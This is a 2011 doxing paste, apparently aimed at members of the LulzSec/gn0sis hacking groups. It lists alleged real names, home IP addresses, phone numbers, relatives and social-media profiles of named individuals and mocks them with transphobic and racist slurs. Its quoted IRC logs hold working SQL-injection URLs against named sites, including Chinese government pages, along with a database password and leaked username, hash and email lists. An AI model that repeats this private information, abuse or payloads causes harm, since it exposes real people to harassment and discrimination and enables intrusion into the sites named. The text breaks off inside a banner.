GO TO DOXBIN.COM FOR THE FULL PASTE: ################################################################################################################################## ################################################################################################################################## ud$$$**$$$$$$$bc. u@**" 4$$$$$$$Nu J ""#$$$$$$r @ $$$$b .F ^*3$$$ :% 4 J$$$N $ :F :$$$$$ 4F 9 J$$$$$$$ 4$ k 4$$$$bed$$$$$$$$$ $$r 'F $$$$$$$$$$$$$$$$$r $$$ b. $$$$$$$$$$$$$$$$$N $$$$$k 3$$$$$$b $$$$$$$."$$$$$$$$$ .@$**N. $$$$$" $$$$$$F'L $$$$$$$$$$$ $$$$$$$ :$$L 'L $$$$$ 4$$$$$$ * $$$$$$$$$$F $$$$$$F edNc @$$$$N ^k $$$$$ 3$$$$*% $F4$$$$$$$ $$$$$" d" z$N $$$$$$ ^k '$$$" #$$$F .$ $$$$$c.u@$$$ J" @$$$$r $$$$$$$b *u ^$L $$ $$$$$$$$$$$$u@ $$ d$$$$$$ ^$$$$$$. "NL "N. z@* $$$ $$$$$$$$$$$$$P $P d$$$$$$$ ^"*$$$$b '*L 9$E 4$$$ d$$$$$$$$$$$" d* J$$$$$r ^$$$$u '$. $$$L "#" d$$$$$$".@$$ .@$" z$$$$*" ^$$$$. ^$N.3$$$ 4u$$$$$$$ 4$$$ u$*" z$$$" '*$$$$$$$$ *$b J$$$$$$$b u$$P $" d$$P #$$$$$$ 4$ 3*$"$*$ $"$'c@@$$$$ .u@$$$P "$$$$ ""F~$ $uNr$$$^&J$$$$F $$$$# "$$ "$$$bd$.$W$$$$$$$$F $$" ?k ?$$$$$$$$$$$F'* 9$$bL z$$$$$$$$$$$F $$$$ $$$$$$$$$$$$$ '#$$c '$$$$$$$$$" .@"#$$$$$$$$$$$$b z* $$$$$$$$$$$$N. e" z$$" #$$$k '*$$. .u* u@$P" '#$$c "$$c u@$*""" d$$" "$$$u ^*$$b. :$F J$P" ^$$$c '"$$$$$$bL d$$ .. @$# #$$b '#$ 9$$$$$$b 4$$ ^$$k '$ "$$6""$b u$$ '$ d$$$$$P '$F $$$$$" ^b ^$$$$b$ '$W$$$$" 'b@$$$$" ^$$$* _ _ _____ _ _____ _ | | | | __ | _ | (_) | _ | | | | |_ _| |_______ ___ ___ / / __ _ _ __ | |/' | ___ _ ___ | |/' |_ ___ __ ___ __| | | | | | | |_ / __|/ _ \/ __| / / / _` | '_ \| /| |/ __| / __| | /| \ \ /\ / / '_ \ / _ \/ _` | | | |_| | |/ /\__ \ __/ (__ / / |(_| | | | \ |_/ /\__ \ \__ \ \ |_/ /\ V V /| | | | __/ (_| | |_|\__,_|_/___|___/\___|\___| / / \__, |_| |_|\___/ |___/_|___/ \___/ \_/\_/ |_| |_|\___|\__,_| /_/ __/ | |___/ ################################################################################################################################## ################################################################################################################################## To understand who/what lulzsec/gn0sis are/is you need to understand where they came from. Everything originates from the *chan (4chan/711chan/etc.) culture. This internet subculture is pretty much the dregs of the internet. It's a culture built around the anonymity of the internet. If your anonymous no one can find you. No one can hurt you, so your invincable. The problem with this idealogy, is it's on the internet. The internet by definition is not anonymous. Computers have to have attribution. If you trace something back far enough you can find its origins. So let's give a brief event timeline on how these groups got together: 1. Anonymous rises up from 4chan against CoS. 2. Anonymous starts DDoSing stuff. 3. Various lower level hacking groups get involved. 4. Anonymous stagnates for a while. 5. Uprisings in the world Attract Anonymous. 6. ProjectPM Looser Barrett Brown becomes mouth piece of Anon. 7. Anonymous shifts focus toward "Worldy" Affairs. 8. Aaron Barr desides he's tired of his job and targets Anon. 9. gn0sis (Uncommon) comes out of no where and releases the Gawker data. 10. gn0sis teams up with anon hackers with all the OP<INSERT SOMETHING HERE> crap. 11. gn0sis (nigg, eekdacat, uncommon, kayla, lauralie) and sabu (from OP Anon shit) hack HBGary. 12. This is where Topiary comes in. They all form lulzsec to be "hacktivists". 13. Lulzsec (now a mix of gn0sis and opanon people) hack SONY and other stuff. The problem with Lulzsec/gn0sis's "Hacktivist" mantra is that they lack the skills to keep it going. As such after SONY they couldn't get into anything. So they switched their focus to just releasing random crap that didn't mean anything. Then they started running out of things they could hack. So they put out requests for people to join them. That got them a few hits, and now they've switched their gears again to be "ANTI-SEC". Whether or not this was an attempt at bring other groups out of the shadows (el8, h0no, zf0, etc), you can only speculate. But as of this writing: 6/24/2011 Sabu and Topiary are the only two people updating the twitter and releasing shit. Kayla is MIA. The gn0sis kids are gone in hiding somewhere. From what we've seen these lulzsec/gn0sis kids aren't really that good at hacking. They troll the internet and search for sqlinjection vulnerabilities as well as Remote File Include/Local File Include bugs. Once found they try to download databases or pull down usernames and passwords. Their releases have nothing to do with their goals or their lulz. It's purely based on whatever they find with their "google hacking" queries and then release it. What's funny to us is that these kids are all "Anti-Sec" yet by releasing their hacks they are forcing these companies to have to hire security professionals which keeps the Security Industry that they are trying to expose and shut down, in business. I guess they will realise that later in life when they get out of skid school. So we've been tracking and infiltrating these kids since the gawker hack. We have the D0x (as they call it) on everyone except Sabu and Kayla. First we'll go with the kid who did the gawker hack: Uncommon. ################################################################################################################################## ################################################################################################################################## ooooo ooo `888' `8' 888 8 ooo. .oo. .ooooo. .ooooo. ooo. .oo. .oo. ooo. .oo. .oo. .ooooo. ooo. .oo. 888 8 `888P"Y88b d88' `"Y8 d88' `88b `888P"Y88bP"Y88b `888P"Y88bP"Y88b d88' `88b `888P"Y88b 888 8 888 888 888 888 888 888 888 888 888 888 888 888 888 888 888 `88. .8' 888 888 888 .o8 888 888 888 888 888 888 888 888 888 888 888 888 `YbodP' o888o o888o `Y8bod8P' `Y8bod8P' o888o o888o o888o o888o o888o o888o `Y8bod8P' o888o o888o ################################################################################################################################## ################################################################################################################################## Uncommon(Richard Fontaine): How to find Uncommon: His USER/IP: Richard Fontaine richard@ks354873.kimsufi.com ks354873.kimsufi.com is the server that hosts: http://cfyp.org.uk/ http://cfyp.org.uk/ is admined by: Daniel Rhodes-Mumby (http://cfyp.org.uk/2010/07/technical-issues-21st-july-2010/) Daniel Rhodes-Mumby and Richard Fontaine are friends from school (check their facebooks). We do not know if Daniel Rhodes-Mumby has anything to do with hacking, but he does allow Richard to bounce from his box... Daniel Rhodes-Mumby (https://www.facebook.com/drhodesmumby): Cashier at BrightHouse Studying BA (Hons) Politics at University of Salford Lives in City of Salford In a relationship with Alisha 'Magikarp' Barton Knows English, German, French From Grimsby, North East Lincolnshire, United Kingdom Born on December 4, 1991 Richard Fontaine (Uncommon)(https://www.facebook.com/jarofdoom): Studying Chemistry MChem at University College of Wales, Bangor Lives in Bangor, Gwynedd From Grimsby, North East Lincolnshire, United Kingdom Sister's: Charlotte Fontaine: Bartender at Cleethopes Bowling Alley Studied at Nottingham Trent Lives in Grimsby, North East Lincolnshire, United Kingdom Married to Melissa Scott - LESBOZ!!! From Grimsby, North East Lincolnshire, United Kingdom Natalie Fontaine: Transport Manager at Ski France Went to Caistor Grammar School In a relationship Richard Fontaine is also deaf and wears a hearing aid. Here is his picture: ----8<-----REMOVE-------8<-----GAWKER-HACK-PROOF----8<-----REMOVE-------8<----- 20:58 <HANNIBAL> sup 22:23 <Uncommon> nm 22:23 <Uncommon> Packing 22:53 <HANNIBAL> for? 22:54 <Uncommon> moving from flat to house 22:54 <HANNIBAL> flat? are you like some eurofag? 22:54 <HANNIBAL> j/k 22:55 <HANNIBAL> do any of you guys still have ax to gaker? 22:55 <HANNIBAL> gawker* 22:55 <Uncommon> no mate 22:55 <Uncommon> some faggot poinmted the sploit out 22:55 <Uncommon> that was a hilarious hack 22:55 <Uncommon> my lawd 22:56 <HANNIBAL> pointed the sploit out? 22:56 <HANNIBAL> like released it? 22:57 <Uncommon> it was an OOOOOOOOOOOOOOOLD sploit 22:57 <Uncommon> but someone said we used it to get in 22:57 <Uncommon> it'd been around for 2 yr 22:57 <HANNIBAL> oh so you lost ax? 22:57 <Uncommon> Yeah 22:57 <HANNIBAL> =[ 22:58 <Uncommon> ikr 22:58 <Uncommon> tell me abt it ----8<-----REMOVE-------8<-----GAWKER-HACK-PROOF----8<-----REMOVE-------8<----- ----8<-----REMOVE-------8<-----GAMER-HACK--PROOF----8<-----REMOVE-------8<----- 05:27 <Uncommon> ee: wat wat 05:28 <ee> haven't seen nigg in a long time 05:28 <Uncommon> i've got his and insids number 05:28 <Uncommon> thts what i forgot 05:29 <ee> xyz is in jail cause eidos 05:29 <Uncommon> good fucking riddance imo 05:29 <Uncommon> LONG overdu 05:29 <ee> and it was public knowledge 05:29 <ee> that nigg was involved 05:29 <Uncommon> :/ 05:29 <Uncommon> I'll connect to the hetz irc then 05:29 <ee> http://krebsonsecurity.com/2011/05/anonymous-splinter-group-implicated-in-game-company-hack/ 05:30 <ee> Also in the channel discussing the defacement and theft of the Deus Ex database are hackers .ev0,. .nigg. and .e., screen names of Anonymous sympathizers who have been connected with Ryan.s recent coup. 05:30 <ee> then xyz got busted 05:31 <ee> which makes me wonder ----8<-----REMOVE-------8<-----GAMER-HACK--PROOF----8<-----REMOVE-------8<----- ----8<-----REMOVE-------8<-----HOTEL-HACK--PROOF----8<-----REMOVE-------8<----- 16:13 <Uncommon> https://mysales.deltahotels.com/docs/151/phpDf2437a.doc 16:13 <Uncommon> rename to .gz 19:28 <Uncommon> btw 19:28 <Uncommon> the onjly reason they 'targeted' arizona was because it was they that they could find a sploit for ----8<-----REMOVE-------8<-----HOTEL-HACK--PROOF----8<-----REMOVE-------8<----- ################################################################################################################################## ################################################################################################################################## oooooooooooo oooo .o8 oooo . `888' `8 `888 "888 `888 .o8 888 .ooooo. 888 oooo .oooo888 .oooo. 888 oooo .oooo. .o888oo 888oooo8 d88' `88b 888 .8P' d88' `888 `P )88b 888 .8P' `P )88b 888 888 " 888ooo888 888888. 888 888 .oP"888 888888. .oP"888 888 888 o 888 .o 888 `88b. 888 888 d8( 888 888 `88b. d8( 888 888 . o888ooooood8 `Y8bod8P' o888o o888o `Y8bod88P" `Y888""8o o888o o888o `Y888""8o "888" ################################################################################################################################## ################################################################################################################################## Now let's look at EE or EEKDACAT: How to find EEKDACAT: EE Uses those Busy Box Bounces that were dropped in the lulzsec/gn0sis private channel logs (which were leaked). bounce: 89-38-2-102.tcnet.com.br (189.38.2.102) Hacked Busy Box IP (from Nigg). We back hacked him all the way back to his Home IP in Sartoga NY. originating ip: 74.67.45.11 cpe-74-67-45-11.nycap.res.rr.com (saratoga ny) Now this kid actually hacks stuff. He goes around and does his little google query hacking thing. Fing's his SQLinjections He then goes and downloads the databases. This is the kid who helped Uncommon with the attack on Gawker. Here is a big log of all the things he's hacked and is hacking. Along with proof that he was using a stolen router (which we back hacked him from) ----8<-----REMOVE-----8<-----EEKDACATs-HACK-PROOF----8<-----REMOVE-------8<----- 17:32 <ee> http://masscool.com/category.php?pid=125%20union%20select%201,2,concat_ws%280x3a,@@version,user%28%29,database%28%29%29,4,5,6,7,8-- 17:37 <ee> delicious 17:39 <ee> $dbc = mysql_connect('sql108.byethost18.com', 'b18_8176605', 'oandh123'); 06:07 <ee> Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny10 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g Server at www.ovh.net Port 80 05:58 <ee> http://ariannaonline.huffingtonpost.com/columns/column.php?id=-1%20union%20select%201,database%28%29,version%28%29,4,user%28%29-- 06:08 <ee> huh 06:08 <ee> have a look at 06:08 <ee> https://pastee.org/j47kk ########(this file rowen.txt is attached below [FILE ATTACHMENT SECTION] as it is no longer on on the site)######## 06:08 <ee> rowrowrowyourb0at! 06:09 <ee> trying to get the grades of 3 students 06:10 <ee> this warrants the theft of 11000 06:12 <ee> can't seem to shell it 06:12 <ee> into outfile 12:38 <ee> all .gov.cns seem to be configured the exact same way 12:40 <ee> http://www.shuangliu.gov.cn/En/Detail.php?id=60061 12:51 < Uncommon> wats dis 13:13 <ee> i was hacking .gov.cn's 13:13 <ee> and did that 13:13 <ee> also 13:13 <ee> http://www.ykzzb.gov.cn/newsinfo.php?id=-1%20union%20select%201,concat_ws%280x3a,username,password,email%29,3,user%28%29,5,6%20from%20cdb_members%20limit%200,1-- 13:13 <ee> huaehauehauehaueaheuahue 14:06 <ee> http://jsfgj.yeda.gov.cn/show.php?id=127%20and%201=%28select%201%29 (blind) 14:06 <ee> http://www.investhg.gov.cn/show.php?id=248%20union%20select%201,2,3,4,5,6,7-- (selectable) 14:06 <ee> http://www.ahshx.gov.cn/content/coll_view.php?id=-1%20union%20select%201,2,concat_ws%280x3a,@@version,user%28%29,database%28%29%29,4,5,6,7,8,9,10,11,12,13-- 14:06 <ee> http://www.ccpitzj.gov.cn/showpassage_E.php?id=-1%20union%20select%201,concat_ws%280x3a,@@version,user%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14-- 14:06 <ee> ching chong 15:19 <ee> wanna do some ownage 15:20 <HANNIBAL> what you got goin on? 15:21 <ee> found one of my old dbs 15:21 <ee> was to medusoft.eu 15:21 <ee> passes still might work 15:21 <ee> 1 aug 2009 15:22 <ee> trying to pastee it 15:25 <ee> http://cryptobin.org/76e173u4 ########(this file medu.txt is attached below [FILE ATTACHMENT SECTION] as it is no longer on on the site)######## 15:25 <ee> medus0fT!medus0fT!medus0ft? 15:26 <ee> medusoft = dutch mcafee 15:26 <ee> had an sqli a while back and i pulled the names 15:26 <ee> forgot to give them out 15:26 <ee> also ALL THEIR CUSTOMERS 15:26 <ee> my god the hacks 15:35 <ee> have 15:35 <ee> nvidia india here too 15:35 <ee> pkrishna :: 7d6f11ed60491e9f5bb2efe71717888b :: pkrishna@nvidia.com 15:35 <ee> dmulakkayala :: 56ab24ff89b944c6250a59cba6893d31 :: dmulakkayala@nvidia.com 15:35 <ee> nyagnamurthy :: 8493f7037bb221945d4308764470a1cf :: nyagnamurthy@nvidia.com 15:35 <ee> rkaushal :: 8493f7037bb221945d4308764470a1cf :: rkaushal@nvidia.com 15:35 <ee> hkodihalli :: 8493f7037bb221945d4308764470a1cf :: hkodihalli@nvidia.com 15:35 <ee> araghavan :: fb19cb3041a96f7f478c40dede8d6beb :: araghavan@nvidia.com 15:35 <ee> etc etc 15:37 <ee> best old injection i had that doesn't work anymore 15:37 <ee> was on some pakistani gov site 15:37 <ee> that was aarently tied into military 15:37 <ee> aarently their air defence pass was 445566 15:37 <ee> air defence:2b792dabb4328a140caef066322c49ff 15:37 <ee> aag pa 2:4f26ed30767738d82936c671d2a075ed 15:37 <ee> Administrator:6abd62383d0d5fb96fa5fbbbb23b00ce 15:37 <ee> Administrator:d09253ad5c1aa6169f73fe88470e3b54 16:20 <ee> i'm on a stolen router 16:20 <ee> also i didn't hit all the stuff i posted here todayt 16:20 <ee> that was over like 2-3 years 16:21 <ee> medusoft is 2 years old almost 16:21 <ee> plus i don't really deface 16:21 <ee> if there's accts on an injection i add them to a huge list of urls 16:21 <ee> and farm them for weeks 16:22 <ee> no need to kill the host so quickly 16:22 <ee> did glaad.org ever get defaced 16:23 <ee> with the injection on it 16:24 <ee> had a great digital spec ad to put up for defacement 16:24 <ee> actually 2 great spec ads 16:24 <ee> defacing with shoutouts for pride is lame you gotta really sell it ----8<-----REMOVE-----8<-----EEKDACATs-HACK-PROOF----8<-----REMOVE-------8<----- ################################################################################################################################## ################################################################################################################################## ooooo oooo o8o `888' `888 `"' 888 .oooo. oooo oooo oooo d8b .ooooo. 888 .oooo. oooo 888 `P )88b `888 `888 `888""8P d88' `88b 888 `P )88b `888 888 .oP"888 888 888 888 888ooo888 888 .oP"888 888 888 o d8( 888 888 888 888 888 .o 888 d8( 888 888 o888ooooood8 `Y888""8o `V88V"V8P' d888b `Y8bod8P' o888o `Y888""8o o888o ################################################################################################################################## ################################################################################################################################## Next we have Laurelai. He is another transgendered non-hacker. He is also very ugly. Name: Laurelai Bailey AKA Wesley Bailey Born: 15 January 1982 Location: Davenport, Iowa (Quad Cities Metro Area) [Current] Fayetteville, AR [Previous] Austin, TX [Previous] Job: Tech Team Global Phone: 563-505-6082 Computer: Handles: Laurelai, artixstorm IP: ~Laurelai@205.185.113.6 ( Frantech VPS ) Phone: Android Tablet: iPad OS: CentOS Profiles: https://www.facebook.com/laurelai.bailey http://disqus.com/facebook-771323265/ http://www.linkedin.com/pub/laurelai-bailey/31/995/5b5 http://www.scribd.com/laurelaib/info http://www.xfire.com/profile/wesleyraziel/ http://steamcommunity.com/id/artixstorm https://github.com/Laurelai http://www.janimes.com/forum/index.php?/user/35904-laurelai/ http://twitter.com/#!/ArtixStorm http://www.stickam.com/artixstorm http://www.myspace.com/artixstorm/ Sites: paralox.org ? oneechan.org Notes: Transgendered woman name she chose means 'temptress' yet she is hideous Location confirmed by phone location/linkedin/facebook and also mentions quad city area on reddit Name confirmed by facebook Pics confirmed by facebook/oneechan.org She Leaked #hq logs before gnosis/hbgary hackers became Lulzsec --- identification --- About: "Laurelai" is a failed chanology troll with a vendetta against Gregg Housh and AnonOps Legal Name: Wesley Bailey Occupation: Systems Administrator Aliases: - Laurelai Storm - Laurelai Bailey - Trinity Bailey - Raziel Twitter: @stuxnetsource Domains: - oneechan.org: setup as "trans support" Irc: - irc.oneechan.org: #oneechan - botnet.biz: #tr0ll Email Addresses: - laurelai@oneechan.org - wesley.raziel@gmail.com Facebook: http://facebook.com/laurelai.bailey AIM: lulzchan ED: http://encyclopediadramatica.com/Raziel+wesley+bailey+chanology Affiliations: - Gnosis (Hacker group responsible for Gawker hack) - AnonOps Oper: 18:16 [tsukihi] -OperServ(services@dproj.info)- Laurelai - Oper + Services Root Administrator DOB: 1-15-82 Residence: Waterloo, Iowa Home Internet: 173.23.30.122 Hometown: Killeen, TX Bio: 10 year army veteran: stations in Killeen and Korea Personal: Laurelai is a pre-operative "transsexual" --- systems --- - vps-node1: Laurelai:x:525:525::/home/Laurelai:/bin/bash --- Gnosis --- - members: kayla,garrett,Laurelai,pw,Uncommon,Eekdacat,Fubar,berry,egeste,insid,nigg,tflow --- connections --- - uncommon (UncommonGN on twitter) is responsible for the google dork that lead to the gawker compromise - kayla according to laurelai is laurelai's protege - jennifer emick and him were involved in the same troll group: http://encyclopediadramatica.com/Jennifer_Emick - sabu: soley responsible for the attack on HBGary no matter what Kayla sells you it was all Sabu; he's 'anti-sec 4 life dood' ----8<-----REMOVE-----8<-----LAURELAI-SNITCH-LOG----8<-----REMOVE-------8<----- Laurelai also like's to brag about screwing over her supposed hacker friends in this snitch log: 19:42 <Laurelai> guess who payed me a visit 19:42 <NA> fbi? 19:43 <NA> i dot 'know who 19:49 <NA> well i know it's not your "friend" because that's a phsyical impossibility 20:23 <Laurelai> fbi 20:23 <NA> oh ya? 20:23 <Laurelai> yeah it was deh feds 20:23 <NA> last night? 20:23 <Laurelai> i told them sabu did it all 20:23 <Laurelai> this morning 20:23 <NA> lol 20:23 <NA> oh did they say why 20:23 <Laurelai> and i told them kayla was MI5 20:23 <NA> lol 20:23 <Laurelai> yeah over HBgary 20:24 <Laurelai> told them the long boring history of chanology 20:24 <Laurelai> and how greg housh and topiary ran anonops 20:24 <Laurelai> and harrassed jen 20:24 <NA> so you had a nice chat 20:24 <Laurelai> and how barrett brown was in on it 20:24 <NA> this is a crazy fed visit 20:24 <Laurelai> yes 20:24 <Laurelai> even offered them tea 20:24 <NA> usually they just stick guns to my head 20:24 <Laurelai> they walked up to my door 20:24 <Laurelai> and sais 20:25 <NA> a kinder gentler fed 20:25 <Laurelai> are you laurelai 20:25 <Laurelai> i said yah 20:25 <Laurelai> why 20:25 <Laurelai> and 20:25 <Laurelai> they used my proper pronouns 20:25 <NA> best raid evar 20:25 <Laurelai> *very* respectful 20:25 <Laurelai> want me to be an informant on account im everywhere and iwas in the army 20:25 <NA> well i guess jen gets her retribution finally 20:25 <NA> w00t 20:26 <NA> ie. like before 20:26 <NA> lol 20:26 <Laurelai> so i can feed them w/e i want 20:26 <Laurelai> yes 20:26 <Laurelai> they took my hard drives and my ipad tho 20:26 <Laurelai> everything was wiped 20:26 <Laurelai> and encrypted 20:26 <Laurelai> and wiped 20:26 <Laurelai> repeated 20:26 <Laurelai> and my netbook 20:27 <Laurelai> is fried from it 20:27 <Laurelai> lol 20:27 <NA> so how are we talking now 20:27 <Laurelai> they left my cd's 20:27 <Laurelai> and my blank 2 tb hdd 20:27 <Laurelai> and my hardware 20:27 <NA> i see 20:27 <Laurelai> just took the hdd's 20:28 <NA> do you want to help them? 20:28 <Laurelai> nicest raid ever 20:28 <NA> ya that's pretty reasonable 20:28 <Laurelai> imma help them help me 20:28 <Laurelai> :) 20:28 <Laurelai> saabu did it all 20:28 <Laurelai> cause im sexy 20:29 <NA> you told them about marblecake? 20:29 <Laurelai> yes 20:32 <NA> what did they say 20:40 <NA> also lol @ the most polite raid ever 20:40 <NA> i'm pretty convinced they just take your hardware mostly to inconvenience you 20:41 <NA> i can't imagine they spend too much time cracking your shit 20:43 <NA> i mean realistically 20:49 <Laurelai> why would they 20:49 <Laurelai> i gave them the truecrypt password 20:49 <Laurelai> no need to crack 20:50 <NA> you gave them a TC passphrase to an empty disk? 20:50 <Laurelai> to a disc with porn and warez 20:50 <Laurelai> and they already told me 20:50 <NA> lol 20:50 <Laurelai> they didnt care about it 20:50 <NA> the porn and warez? 20:51 <Laurelai> nope 20:51 <Laurelai> they told me 20:51 <Laurelai> not illegal to download 20:51 <Laurelai> just to sell it 20:51 <Laurelai> but 20:51 <Laurelai> to please not dl anymore 20:52 <NA> did they at any point serve you a warrant? 20:56 <Laurelai> yes 20:56 <NA> well that IS polite 20:56 <Laurelai> they did that first 20:56 <NA> i never get to SEE the warrant 20:56 <NA> it's usually not signed by a judge 20:56 <Laurelai> they read it to me 20:56 <Laurelai> and i got a copy 20:57 <Laurelai> they were gonna take my hardware but i talked them otu of that 20:57 <Laurelai> they just took the hdd 20:57 <Laurelai> and my ipad 20:57 <Laurelai> :| 20:57 <NA> that sucks 20:58 <Laurelai> fkin jews 20:58 <Laurelai> oh well 20:58 <Laurelai> they are tools 20:58 <Laurelai> and now they are my toosl 20:59 <NA> post a pic of the warrant 21:00 <Laurelai> lol 21:00 <Laurelai> its silly 21:00 <Laurelai> it covers so much shit 21:00 <Laurelai> we talked for like 5 hours 21:01 <Laurelai> and gave me their card 21:01 <Laurelai> and asked me to let them know the next time kayla tweeted 21:01 <NA> what do they want with `k 21:01 <Laurelai> speaking of i got to call them 21:01 <Laurelai> what do you think 21:01 <NA> about? 21:01 <Laurelai> they were hot after kayla 21:02 <NA> what do i think about what 21:02 <Laurelai> they want kayla 21:02 <Laurelai> asking over and over 21:02 <NA> i see 21:02 <NA> give them kayla? 21:02 <Laurelai> kayla kayl kayla 21:02 <Laurelai> sure what i know 21:02 <NA> what's the obsession with xyrix 21:02 <NA> i mean kayla 21:02 <NA> totally kayla 21:02 <Laurelai> i told them my theory 21:02 <Laurelai> that kayla was MI5 21:03 <NA> why would you even have a theory like that 21:03 <Laurelai> oh we talked about HBGary 21:03 <Laurelai> because its one of my pet conspiracy theories i throw around for lulz 21:03 <Laurelai> i also told them 21:03 <Laurelai> that kayla hated greg hoglund 21:04 <Laurelai> with a passion 21:04 <Laurelai> and that he knew her irl but didnt relize he knew her 21:04 <Laurelai> hope he enjoys the talk with the feds 21:04 <NA> lol 21:05 <Laurelai> i said im an innocent reporter ill cooperate sir 21:05 <NA> you and BB! 21:05 <NA> innocent as the day is long ;D 21:05 <NA> so you have to call agen so and so 21:06 <NA> to discuss the contents of your hdd 21:06 <Laurelai> what contents? 21:06 <Laurelai> its all junk and warez 21:06 <Laurelai> i wiped remember 21:07 <Laurelai> even wiped all my irc logs from oneechan 21:07 <NA> good job 21:07 <Laurelai> they were looking for logs 21:07 <Laurelai> i told them i didnt log except HQ 21:07 <Laurelai> and that was already public 21:08 <Laurelai> told them about fake gregg 21:08 <Laurelai> and how i thought he was an informat 21:08 <Laurelai> see iw as trying to go forward to LE 21:09 <Laurelai> :D 21:09 <Laurelai> i socialed the fuck out of them 21:09 <NA> what did they say about that 21:09 <Laurelai> hard 21:09 <Laurelai> so hard 21:09 <Laurelai> oh 21:09 <Laurelai> they wanted his twitter account info 21:10 <Laurelai> they never heard of FGH before now 21:10 <Laurelai> i bet they want to talk to him about pretending to work with the gov 21:10 <Laurelai> i hope he enjoys his convo 21:10 <NA> heh 21:11 <NA> vigilantism 21:11 <Laurelai> basically now im their go to girl for anything anon related 21:12 <NA> good news 21:12 <Laurelai> yup 21:13 <Laurelai> falls right into the plan 21:17 <NA> you go to work? 21:19 <Laurelai> im at work now 21:19 <Laurelai> they were nice enough to finish before i had to get ready 21:23 <NA> a kinder gentler fbi 03:37 <NA> intimidated 03:39 <Laurelai> yeah 03:39 <Laurelai> he was shaking when he talked to me 03:39 <Laurelai> used um alot 03:39 <Laurelai> i spoke confidently 03:39 <Laurelai> acted like i was queen of my castle 03:44 <Laurelai> why would he be afraid of me 03:48 <NA> no idea 03:52 <Laurelai> i mean i can tell when im intimidating someone 03:53 <Laurelai> he was intimidated 03:53 <NA> how many feds? 04:05 <Laurelai> like 12 04:05 <Laurelai> nobody pulled a gun and nobody was a dick 04:05 <Laurelai> everyone was real polite 04:05 <Laurelai> i like polite 04:06 <Laurelai> they even bought me a coke 04:06 <Laurelai> like 04:06 <Laurelai> sent one of their dudes out to go get it for me 04:06 <NA> are you high or something? 04:07 <Laurelai> no 04:07 <Laurelai> adrenalin 04:07 <NA> ok just makin sure 04:07 <NA> you weren't seein invisible v&'s 04:07 <Laurelai> i thought they had come to arrest me 04:07 <Laurelai> but no 04:07 <Laurelai> they asked for my help 04:07 <Laurelai> politely 04:07 <NA> i mean the idea that an arresting officer went out to get you a fucking coke is a bit absurd to be blunt 04:07 <NA> i mean don't you think? 04:08 <Laurelai> i was never under arrest 04:08 <NA> they were there 04:08 <NA> yes you were 04:08 <NA> if they were there you were under arrest 04:08 <Laurelai> no 04:08 <Laurelai> they said 04:08 <Laurelai> you are not under arrest 04:08 <Laurelai> you dont have to talk to us 04:08 <Laurelai> if you want to stop 04:08 <Laurelai> at any time you can 04:08 <Laurelai> and we will go 04:09 <Laurelai> they had a document to that effect too 04:11 <Laurelai> im not even fucking joking 04:15 <Laurelai> they want topiary too 04:15 <Laurelai> and sabu 04:15 <Laurelai> wanted them already 04:15 <Laurelai> but you know 04:15 <Laurelai> sabu did it all ----8<-----REMOVE-----8<-----LAURELAI-SNITCH-LOG----8<-----REMOVE-------8<----- ################################################################################################################################## ################################################################################################################################## ooooo ooo o8o `888b. `8' `"' 8 `88b. 8 oooo .oooooooo .oooooooo 8 `88b. 8 `888 888' `88b 888' `88b 8 `88b.8 888 888 888 888 888 8 `888 888 `88bod8P' `88bod8P' o8o `8 o888o `8oooooo. `8oooooo. d" YD d" YD "Y88888P' "Y88888P' ################################################################################################################################## ################################################################################################################################## Now we have NIGG. His real name is TOM. His real Name, Username, PC Name, and Home IP is: Tom Tom@Tom-PC 92.20.236.78 He is a minor hacker in the group. He is the one who got all the stolen routers that everyone is useing. ----8<-----REMOVE-----8<-----BUSYBOX-HACK--PROOF----8<-----REMOVE-------8<----- 19:19 <nigg> niggers 19:19 <nigg> are using my fucking 19:19 <nigg> busyboxes 19:19 <nigg> for some shitty fucking http bot 19:19 <nigg> in bash 19:19 <Laurelai> aww man 19:19 <nigg> the dumb niggers 19:19 <Laurelai> that sucks 19:19 <nigg> couldn't even get code exec 19:19 <nigg> its not that fucking hard 19:20 <Uncommon> lol 19:20 <Uncommon> Told you to keep bboxes pvt 19:20 <nigg> was private 19:20 <nigg> to kayla 19:20 <nigg> -_- 19:22 <Uncommon> lol 19:22 <Uncommon> you published it 19:22 <Uncommon> you dick 19:23 <Laurelai> hell even i had the busybox list 19:24 <Laurelai> kayla gave it to anonops 19:24 <Laurelai> i seen her do it 19:24 <Laurelai> lol ----8<-----REMOVE-----8<-----BUSYBOX-HACK--PROOF----8<-----REMOVE-------8<----- ################################################################################################################################## ################################################################################################################################## ooo ooooo .o8 oooo `88. .888' "888 `888 888b d'888 .oooo. .oooo888 .ooooo. 888 .ooooo. oooo oooo ooo ooo. .oo. 8 Y88. .P 888 `P )88b d88' `888 d88' `"Y8 888 d88' `88b `88. `88. .8' `888P"Y88b 8 `888' 888 .oP"888 888 888 888 888 888 888 `88..]88..8' 888 888 8 Y 888 d8( 888 888 888 888 .o8 888 888 888 `888'`888' 888 888 o8o o888o `Y888""8o `Y8bod88P" `Y8bod8P' o888o `Y8bod8P' `8' `8' o888o o888o ################################################################################################################################## ################################################################################################################################## Now we have madclown aka BERRI. His real name is Peter. He claims to be Trans Gendered. His real Name, Username, PC Name, and Home IP is: Peter mad@PETER-PC.gateway.2wire.net He doesn't really do anything except have gender identity issues. originating ip: CPE-124-183-112-15.lns14.ken.bigpond.net.au (124.183.112.15) ################################################################################################################################## ################################################################################################################################## ooooooooooooo o8o 8' 888 `8 `"' 888 .ooooo. oo.ooooo. oooo .oooo. oooo d8b oooo ooo 888 d88' `88b 888' `88b `888 `P )88b `888""8P `88. .8' 888 888 888 888 888 888 .oP"888 888 `88..8' 888 888 888 888 888 888 d8( 888 888 `888' o888o `Y8bod8P' 888bod8P' o888o `Y888""8o d888b .8' 888 .o..P' o888o `Y8P' ################################################################################################################################## ################################################################################################################################## Now we have Topiary. Probably the lamest one of the bunch. He doesn't actually do anything except give interviews. There are plenty of logs of him all over the internet being a complete idiot. His "d0x" are all over the internet also. He tries to deny it but there are logs of him bitching about being d0x'ed int he #hq logs that Laurelai leaked. Name: Daniel Ackerman Sandberg Location: Sweden Computer: Handles: Atopiary, Gardenslayer, whirlpool Profiles: http://www.youtube.com/watch?v=0UmdcNqZmw8 ################################################################################################################################## ################################################################################################################################## .o. o8o . .888. `"' .o8 .8"888. oooo ooo oooo oooo ooo. .oo. oooo .o888oo .8' `888. `88. .8' `888 `888 `888P"Y88b `888 888 